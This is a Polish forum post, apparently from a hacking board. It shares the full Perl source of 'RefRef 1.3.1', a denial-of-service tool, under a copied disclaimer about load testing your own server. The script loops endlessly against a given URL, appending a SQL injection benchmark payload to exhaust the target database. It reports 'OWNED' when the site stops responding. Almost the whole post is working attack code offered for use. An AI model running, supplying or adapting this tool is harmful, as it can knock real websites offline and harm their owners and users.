- Dołączył
- Wrzesień 24, 2011
- Posty
- 325
=======================================
Nie ponosze odpowiedzialnosci za skutki dzialania tego skryptu
--------------------------------------------------
Webloic is only intented for web-server load testing (your OWN web-server), do not use it for large distributed denial of service attacks.
DDos may severely harm a business by causing a site to slow down or go down completely.
Causing harm can lead into lawsuits on behalf of the victim.
Discretion is adviced.
======================================
#RefRef zaprogramowany w Perl:
RefRef 1.3.1 ;
Nie ponosze odpowiedzialnosci za skutki dzialania tego skryptu
--------------------------------------------------
Webloic is only intented for web-server load testing (your OWN web-server), do not use it for large distributed denial of service attacks.
DDos may severely harm a business by causing a site to slow down or go down completely.
Causing harm can lead into lawsuits on behalf of the victim.
Discretion is adviced.
======================================
#RefRef zaprogramowany w Perl:
Kod:
#!usr/bin/perl
#RefRef 1.3.1 (C) Anonymous & NetSec 2011
use LWP::UserAgent;
use Net::Ping;
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
head();
if($ARGV[0]) {
now($ARGV[0]);
} else {
syntax();
}
copyright();
sub now {
print "\n TARGET : ".$_[0]."\n\n";
print " AUTHORIZATION...\n";
my $auth = Net::Ping->new("icmp", 1, 64);
if ($auth->ping ($_[0])) {
print " EXPLOITATION...\n";
while(true) {
$code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
unless($code->is_success) {
my $ver = Net::Ping->new("icmp", 1, 64);
if ($ver->ping ($_[0])) {
print " ERROR\n";
} else {
print " OWNED\n";
}
copyright();
}}} else {
print " ERROR\n";
copyright();
}}
sub head {
print "\n\n------------------------------\n";
}
sub copyright {
print "\n------------------------------\n\n";
exit(1);
}
sub syntax {
print "\n SYNTAX: $0 \n";
copyright();
}
sub toma {
return $nave->get($_[0]);
}
RefRef 1.3.1 ;
Ostatnia edycja: